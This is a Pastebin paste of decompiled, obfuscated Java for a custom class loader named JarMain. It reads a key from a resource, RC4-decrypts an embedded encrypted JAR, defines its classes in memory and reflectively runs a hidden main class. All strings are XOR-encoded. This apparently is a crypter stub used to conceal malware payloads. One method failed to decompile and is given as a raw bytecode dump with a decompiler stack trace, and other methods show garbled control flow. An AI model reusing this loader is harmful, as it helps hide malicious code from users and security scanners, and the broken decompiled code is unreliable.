Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package load;
- import java.util.*;
- import java.lang.reflect.*;
- import java.io.*;
- public class JarMain extends ClassLoader
- {
- private String a;
- private static final HashMap<String, Class> b;
- private static final HashMap<String, byte[]> c;
- public static boolean d;
- public static boolean e;
- private static final String[] z;
- public JarMain() {
- final boolean e = JarMain.e;
- super(JarMain.class.getClassLoader());
- final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream(JarMain.z[0])));
- while (true) {
- while (bufferedReader.ready()) {
- this.a = bufferedReader.readLine();
- if (e) {
- if (JarMain.d) {
- JarMain.e = !e;
- }
- return;
- }
- if (e) {
- break;
- }
- }
- bufferedReader.close();
- this.b();
- continue;
- }
- }
- @Override
- public Class loadClass(final String s) {
- return this.findClass(s);
- }
- private byte[] a(final byte[] array) {
- final boolean e = JarMain.e;
- final String string = this.a + JarMain.z[5];
- final int[] array2 = new int[257];
- final int[] array3 = new int[257];
- int n = 0;
- int i = 0;
- while (true) {
- Label_0160_Outer:
- while (i < 256) {
- array2[i] = i;
- ++i;
- if (e) {
- int j = 0;
- while (true) {
- while (j < 256) {
- int n3;
- final int n2 = n3 = n;
- Label_0132: {
- if (!e) {
- final int length = string.length();
- if (e) {
- Label_0232: {
- while (true) {
- if (n3 < length) {
- n = (n + array2[j] + array3[j]) % 256;
- final char c = (char)array2[j];
- array2[j] = array2[n];
- array2[n] = c;
- ++j;
- if (e) {
- break Label_0232;
- }
- if (!e) {
- n3 = j;
- continue Label_0160_Outer;
- }
- }
- break;
- }
- n = (j = 0);
- }
- int k = 0;
- while (k < array.length) {
- j = (j + 1) % 256;
- n = (n + array2[j]) % 256;
- final char c2 = (char)array2[j];
- array2[j] = array2[n];
- array2[n] = c2;
- final char c3 = (char)array2[(array2[j] + array2[n]) % 256];
- final byte[] array4 = array;
- if (e) {
- return array4;
- }
- array[k] ^= (byte)c3;
- ++k;
- if (e) {
- break;
- }
- }
- return array;
- }
- if (n2 != length) {
- break Label_0132;
- }
- }
- n = n2;
- }
- array3[j] = string.charAt(n++);
- ++j;
- if (e) {
- break;
- }
- }
- n = 0;
- j = 0;
- continue;
- }
- }
- if (e) {
- break;
- }
- }
- n = 0;
- continue;
- }
- }
- public Class findClass(final String s) {
- final Class<?> clazz = JarMain.b.get(s);
- Label_0028: {
- Class<?> clazz2;
- try {
- final Class<?> systemClass;
- clazz2 = (systemClass = clazz);
- if (JarMain.e) {
- return systemClass;
- }
- if (clazz2 != null) {
- return clazz;
- }
- break Label_0028;
- }
- catch (ClassNotFoundException ex) {
- throw ex;
- }
- try {
- if (clazz2 != null) {
- return clazz;
- }
- }
- catch (ClassNotFoundException ex2) {
- throw ex2;
- }
- try {
- return this.findSystemClass(s);
- }
- catch (ClassNotFoundException ex3) {
- try {
- final byte[] array = JarMain.c.get(s);
- final Class<?> defineClass = this.defineClass(s, array, 0, array.length);
- JarMain.b.put(s, defineClass);
- return defineClass;
- }
- catch (Exception ex4) {
- return null;
- }
- }
- }
- }
- @Override
- public InputStream getResourceAsStream(final String s) {
- final byte[] array = JarMain.c.get(s.replace("/", ".").replace(JarMain.z[2], ""));
- if (array != null) {
- return new ByteArrayInputStream(array);
- }
- return null;
- }
- public static void main(final String[] array) {
- final boolean e = JarMain.e;
- final Method method = new JarMain().loadClass(JarMain.z[4]).getMethod(JarMain.z[3], String[].class);
- final int modifiers = method.getModifiers();
- final boolean public1 = Modifier.isPublic(modifiers);
- Label_0086: {
- if (!e) {
- if (!public1) {
- break Label_0086;
- }
- Modifier.isStatic(modifiers);
- }
- if (public1) {
- method.invoke(null, new String[0]);
- }
- }
- if (e) {
- JarMain.d = !JarMain.d;
- }
- }
- private byte[] a() {
- final boolean e = JarMain.e;
- final InputStream resourceAsStream = this.getClass().getResourceAsStream(JarMain.z[6]);
- final byte[] array = new byte[1024];
- final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- int read;
- while ((read = resourceAsStream.read(array)) > -1) {
- byteArrayOutputStream.write(array, 0, read);
- if (e) {
- return byteArrayOutputStream.toByteArray();
- }
- if (e) {
- break;
- }
- }
- resourceAsStream.close();
- byteArrayOutputStream.close();
- return byteArrayOutputStream.toByteArray();
- }
- private void b() {
- //
- // This method could not be decompiled.
- //
- // Original Bytecode:
- //
- // 0: getstatic load/JarMain.e:Z
- // 3: istore 6
- // 5: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 8: ldc ""
- // 10: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 13: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 16: ldc ""
- // 18: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 21: new Ljava/util/jar/JarInputStream;
- // 24: dup
- // 25: new Ljava/io/ByteArrayInputStream;
- // 28: dup
- // 29: aload_0
- // 30: aload_0
- // 31: invokespecial load/JarMain.a:()[B
- // 34: invokespecial load/JarMain.a:([B)[B
- // 37: invokespecial java/io/ByteArrayInputStream.<init>:([B)V
- // 40: invokespecial java/util/jar/JarInputStream.<init>:(Ljava/io/InputStream;)V
- // 43: astore_2
- // 44: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 47: ldc ""
- // 49: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 52: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 55: ldc ""
- // 57: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 60: sipush 1024
- // 63: newarray B
- // 65: astore 4
- // 67: aload_2
- // 68: invokevirtual java/util/jar/JarInputStream.getNextJarEntry:()Ljava/util/jar/JarEntry;
- // 71: dup
- // 72: astore_3
- // 73: ifnull 417
- // 76: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 79: ldc ""
- // 81: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 84: iload 6
- // 86: ifne 421
- // 89: getstatic load/JarMain.z:[Ljava/lang/String;
- // 92: iconst_1
- // 93: aaload
- // 94: aload_3
- // 95: invokevirtual java/util/jar/JarEntry.getName:()Ljava/lang/String;
- // 98: invokevirtual java/lang/String.equals:(Ljava/lang/Object;)Z
- // 101: iload 6
- // 103: ifne 138
- // 106: goto 110
- // 109: athrow
- // 110: ifeq 134
- // 113: goto 117
- // 116: athrow
- // 117: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 120: ldc ""
- // 122: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 125: iload 6
- // 127: ifeq 67
- // 130: goto 134
- // 133: athrow
- // 134: aload_3
- // 135: invokevirtual java/util/jar/JarEntry.isDirectory:()Z
- // 138: ifeq 158
- // 141: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 144: ldc ""
- // 146: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 149: iload 6
- // 151: ifeq 67
- // 154: goto 158
- // 157: athrow
- // 158: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 161: ldc ""
- // 163: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 166: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 169: ldc ""
- // 171: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 174: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 177: ldc ""
- // 179: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 182: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 185: ldc ""
- // 187: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 190: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 193: ldc ""
- // 195: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 198: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 201: ldc ""
- // 203: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 206: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 209: ldc ""
- // 211: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 214: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 217: ldc ""
- // 219: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 222: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 225: ldc ""
- // 227: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 230: new Ljava/io/ByteArrayOutputStream;
- // 233: dup
- // 234: invokespecial java/io/ByteArrayOutputStream.<init>:()V
- // 237: astore 5
- // 239: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 242: ldc ""
- // 244: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 247: aload_2
- // 248: aload 4
- // 250: invokevirtual java/util/jar/JarInputStream.read:([B)I
- // 253: dup
- // 254: istore_1
- // 255: iconst_m1
- // 256: if_icmple 290
- // 259: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 262: ldc ""
- // 264: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 267: aload 5
- // 269: aload 4
- // 271: iconst_0
- // 272: iload_1
- // 273: invokevirtual java/io/ByteArrayOutputStream.write:([BII)V
- // 276: iload 6
- // 278: ifne 412
- // 281: iload 6
- // 283: ifeq 247
- // 286: goto 290
- // 289: athrow
- // 290: aload 5
- // 292: invokevirtual java/io/ByteArrayOutputStream.close:()V
- // 295: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 298: ldc ""
- // 300: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 303: getstatic load/JarMain.c:Ljava/util/HashMap;
- // 306: aload_3
- // 307: invokevirtual java/util/jar/JarEntry.getName:()Ljava/lang/String;
- // 310: ldc "/"
- // 312: ldc "."
- // 314: invokevirtual java/lang/String.replace:(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
- // 317: getstatic load/JarMain.z:[Ljava/lang/String;
- // 320: iconst_2
- // 321: aaload
- // 322: ldc ""
- // 324: invokevirtual java/lang/String.replace:(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
- // 327: aload 5
- // 329: invokevirtual java/io/ByteArrayOutputStream.toByteArray:()[B
- // 332: invokevirtual java/util/HashMap.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
- // 335: pop
- // 336: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 339: ldc ""
- // 341: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 344: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 347: ldc ""
- // 349: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 352: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 355: ldc ""
- // 357: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 360: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 363: ldc ""
- // 365: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 368: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 371: ldc ""
- // 373: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 376: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 379: ldc ""
- // 381: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 384: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 387: ldc ""
- // 389: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 392: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 395: ldc ""
- // 397: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 400: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 403: ldc ""
- // 405: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 408: aload_2
- // 409: invokevirtual java/util/jar/JarInputStream.closeEntry:()V
- // 412: iload 6
- // 414: ifeq 67
- // 417: aload_2
- // 418: invokevirtual java/util/jar/JarInputStream.close:()V
- // 421: goto 441
- // 424: astore_1
- // 425: ldc Lload/JarMain;.class
- // 427: invokevirtual java/lang/Class.getName:()Ljava/lang/String;
- // 430: invokestatic java/util/logging/Logger.getLogger:(Ljava/lang/String;)Ljava/util/logging/Logger;
- // 433: getstatic java/util/logging/Level.SEVERE:Ljava/util/logging/Level;
- // 436: aconst_null
- // 437: aload_1
- // 438: invokevirtual java/util/logging/Logger.log:(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V
- // 441: return
- // Exceptions:
- // Try Handler
- // Start End Start End Type
- // ----- ----- ----- ----- ---------------------
- // 259 286 289 290 Ljava/io/IOException;
- // 138 154 157 158 Ljava/io/IOException;
- // 110 130 133 134 Ljava/io/IOException;
- // 89 113 116 117 Ljava/io/IOException;
- // 76 106 109 110 Ljava/io/IOException;
- // 5 421 424 441 Ljava/io/IOException;
- //
- // The error that occurred was:
- //
- // java.lang.IllegalStateException: Expression is linked from several locations: Label_0110:
- // at com.strobel.decompiler.ast.Error.expressionLinkedFromMultipleLocations(Error.java:27)
- // at com.strobel.decompiler.ast.AstOptimizer.mergeDisparateObjectInitializations(AstOptimizer.java:2592)
- // at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:235)
- // at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:42)
- // at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:214)
- // at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:99)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethodBody(AstBuilder.java:712)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethod(AstBuilder.java:611)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.addTypeMembers(AstBuilder.java:493)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeCore(AstBuilder.java:460)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeNoCache(AstBuilder.java:140)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createType(AstBuilder.java:129)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.addType(AstBuilder.java:104)
- // at com.strobel.decompiler.languages.java.JavaLanguage.decompileType(JavaLanguage.java:59)
- // at com.strobel.decompiler.DecompilerDriver.decompileType(DecompilerDriver.java:300)
- // at com.strobel.decompiler.DecompilerDriver.main(DecompilerDriver.java:126)
- //
- //
- // This method could not be decompiled.
- //
- // Original Bytecode:
- //
- // 0: getstatic load/JarMain.e:Z
- // 3: istore 6
- // 5: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 8: ldc ""
- // 10: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 13: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 16: ldc ""
- // 18: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 21: new Ljava/util/jar/JarInputStream;
- // 24: dup
- // 25: new Ljava/io/ByteArrayInputStream;
- // 28: dup
- // 29: aload_0
- // 30: aload_0
- // 31: invokespecial load/JarMain.a:()[B
- // 34: invokespecial load/JarMain.a:([B)[B
- // 37: invokespecial java/io/ByteArrayInputStream.<init>:([B)V
- // 40: invokespecial java/util/jar/JarInputStream.<init>:(Ljava/io/InputStream;)V
- // 43: astore_2
- // 44: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 47: ldc ""
- // 49: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 52: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 55: ldc ""
- // 57: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 60: sipush 1024
- // 63: newarray B
- // 65: astore 4
- // 67: aload_2
- // 68: invokevirtual java/util/jar/JarInputStream.getNextJarEntry:()Ljava/util/jar/JarEntry;
- // 71: dup
- // 72: astore_3
- // 73: ifnull 417
- // 76: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 79: ldc ""
- // 81: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 84: iload 6
- // 86: ifne 421
- // 89: getstatic load/JarMain.z:[Ljava/lang/String;
- // 92: iconst_1
- // 93: aaload
- // 94: aload_3
- // 95: invokevirtual java/util/jar/JarEntry.getName:()Ljava/lang/String;
- // 98: invokevirtual java/lang/String.equals:(Ljava/lang/Object;)Z
- // 101: iload 6
- // 103: ifne 138
- // 106: goto 110
- // 109: athrow
- // 110: ifeq 134
- // 113: goto 117
- // 116: athrow
- // 117: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 120: ldc ""
- // 122: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 125: iload 6
- // 127: ifeq 67
- // 130: goto 134
- // 133: athrow
- // 134: aload_3
- // 135: invokevirtual java/util/jar/JarEntry.isDirectory:()Z
- // 138: ifeq 158
- // 141: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 144: ldc ""
- // 146: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 149: iload 6
- // 151: ifeq 67
- // 154: goto 158
- // 157: athrow
- // 158: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 161: ldc ""
- // 163: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 166: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 169: ldc ""
- // 171: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 174: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 177: ldc ""
- // 179: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 182: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 185: ldc ""
- // 187: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 190: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 193: ldc ""
- // 195: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 198: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 201: ldc ""
- // 203: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 206: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 209: ldc ""
- // 211: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 214: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 217: ldc ""
- // 219: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 222: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 225: ldc ""
- // 227: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 230: new Ljava/io/ByteArrayOutputStream;
- // 233: dup
- // 234: invokespecial java/io/ByteArrayOutputStream.<init>:()V
- // 237: astore 5
- // 239: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 242: ldc ""
- // 244: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 247: aload_2
- // 248: aload 4
- // 250: invokevirtual java/util/jar/JarInputStream.read:([B)I
- // 253: dup
- // 254: istore_1
- // 255: iconst_m1
- // 256: if_icmple 290
- // 259: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 262: ldc ""
- // 264: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 267: aload 5
- // 269: aload 4
- // 271: iconst_0
- // 272: iload_1
- // 273: invokevirtual java/io/ByteArrayOutputStream.write:([BII)V
- // 276: iload 6
- // 278: ifne 412
- // 281: iload 6
- // 283: ifeq 247
- // 286: goto 290
- // 289: athrow
- // 290: aload 5
- // 292: invokevirtual java/io/ByteArrayOutputStream.close:()V
- // 295: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 298: ldc ""
- // 300: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 303: getstatic load/JarMain.c:Ljava/util/HashMap;
- // 306: aload_3
- // 307: invokevirtual java/util/jar/JarEntry.getName:()Ljava/lang/String;
- // 310: ldc "/"
- // 312: ldc "."
- // 314: invokevirtual java/lang/String.replace:(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
- // 317: getstatic load/JarMain.z:[Ljava/lang/String;
- // 320: iconst_2
- // 321: aaload
- // 322: ldc ""
- // 324: invokevirtual java/lang/String.replace:(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
- // 327: aload 5
- // 329: invokevirtual java/io/ByteArrayOutputStream.toByteArray:()[B
- // 332: invokevirtual java/util/HashMap.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
- // 335: pop
- // 336: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 339: ldc ""
- // 341: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 344: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 347: ldc ""
- // 349: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 352: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 355: ldc ""
- // 357: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 360: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 363: ldc ""
- // 365: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 368: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 371: ldc ""
- // 373: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 376: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 379: ldc ""
- // 381: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 384: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 387: ldc ""
- // 389: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 392: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 395: ldc ""
- // 397: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 400: getstatic java/lang/System.out:Ljava/io/PrintStream;
- // 403: ldc ""
- // 405: invokevirtual java/io/PrintStream.println:(Ljava/lang/String;)V
- // 408: aload_2
- // 409: invokevirtual java/util/jar/JarInputStream.closeEntry:()V
- // 412: iload 6
- // 414: ifeq 67
- // 417: aload_2
- // 418: invokevirtual java/util/jar/JarInputStream.close:()V
- // 421: goto 441
- // 424: astore_1
- // 425: ldc Lload/JarMain;.class
- // 427: invokevirtual java/lang/Class.getName:()Ljava/lang/String;
- // 430: invokestatic java/util/logging/Logger.getLogger:(Ljava/lang/String;)Ljava/util/logging/Logger;
- // 433: getstatic java/util/logging/Level.SEVERE:Ljava/util/logging/Level;
- // 436: aconst_null
- // 437: aload_1
- // 438: invokevirtual java/util/logging/Logger.log:(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V
- // 441: return
- // Exceptions:
- // Try Handler
- // Start End Start End Type
- // ----- ----- ----- ----- ---------------------
- // 259 286 289 290 Ljava/io/IOException;
- // 138 154 157 158 Ljava/io/IOException;
- // 110 130 133 134 Ljava/io/IOException;
- // 89 113 116 117 Ljava/io/IOException;
- // 76 106 109 110 Ljava/io/IOException;
- // 5 421 424 441 Ljava/io/IOException;
- //
- // The error that occurred was:
- //
- // java.lang.IllegalStateException: Expression is linked from several locations: Label_0110:
- // at com.strobel.decompiler.ast.Error.expressionLinkedFromMultipleLocations(Error.java:27)
- // at com.strobel.decompiler.ast.AstOptimizer.mergeDisparateObjectInitializations(AstOptimizer.java:2592)
- // at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:235)
- // at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:42)
- // at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:214)
- // at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:99)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethodBody(AstBuilder.java:712)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethod(AstBuilder.java:611)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.addTypeMembers(AstBuilder.java:493)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeCore(AstBuilder.java:460)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeNoCache(AstBuilder.java:140)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.createType(AstBuilder.java:129)
- // at com.strobel.decompiler.languages.java.ast.AstBuilder.addType(AstBuilder.java:104)
- // at com.strobel.decompiler.languages.java.JavaLanguage.decompileType(JavaLanguage.java:59)
- // at com.strobel.decompiler.DecompilerDriver.decompileType(DecompilerDriver.java:300)
- // at com.strobel.decompiler.DecompilerDriver.main(DecompilerDriver.java:126)
- //
- throw new IllegalStateException("An error occurred while decompiling this method.");
- }
- static {
- final String[] z2 = new String[7];
- int n7;
- int n6;
- int n5;
- int n4;
- int n3;
- int n2;
- int n = n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 0)))));
- String s = ",\u0001";
- int n8 = -1;
- String intern = null;
- Label_0091_Outer:
- while (true) {
- final char[] charArray = s.toCharArray();
- int length;
- int n10;
- final int n9 = n10 = (length = charArray.length);
- int n11 = 0;
- while (true) {
- Label_0166: {
- if (n9 > 1) {
- break Label_0166;
- }
- length = (n10 = n11);
- do {
- final char c2 = charArray[n10];
- char c3 = '\0';
- switch (n11 % 5) {
- case 0: {
- c3 = 'e';
- break;
- }
- case 1: {
- c3 = 'E';
- break;
- }
- case 2: {
- c3 = '\u000f';
- break;
- }
- case 3: {
- c3 = 'o';
- break;
- }
- default: {
- c3 = '\r';
- break;
- }
- }
- charArray[length] = (char)(c2 ^ c3);
- ++n11;
- } while (n9 == 0);
- }
- if (n9 > n11) {
- continue;
- }
- break;
- }
- intern = new String(charArray).intern();
- switch (n8) {
- default: {
- z2[n2] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 1))))));
- s = "(\u0000[. ,\u000bI@@$\u000bF)H6\u0011!\"K";
- n8 = 0;
- continue Label_0091_Outer;
- }
- case 0: {
- z2[n] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 2))))));
- s = "K&c\u000e~\u0016";
- n8 = 1;
- continue Label_0091_Outer;
- }
- case 1: {
- z2[n3] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 3))))));
- s = "\b$f\u0001";
- n8 = 2;
- continue Label_0091_Outer;
- }
- case 2: {
- z2[n4] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 4))))));
- s = "57f\u0001n\f5n\u0003";
- n8 = 3;
- continue Label_0091_Outer;
- }
- case 3: {
- z2[n5] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 5))))));
- s = "!\u0000\\8:*\u0012D*G7\u0010;??.";
- n8 = 4;
- continue Label_0091_Outer;
- }
- case 4: {
- z2[n6] = intern;
- n = (n2 = (n3 = (n4 = (n5 = (n6 = (n7 = 6))))));
- s = "J)`\u000eiJ\bN!D#\u0000\\;#(\u0003";
- n8 = 5;
- continue Label_0091_Outer;
- }
- case 5: {
- break Label_0091_Outer;
- }
- }
- }
- z2[n7] = intern;
- z = z2;
- b = new HashMap<String, Class>();
- c = new HashMap<String, byte[]>();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement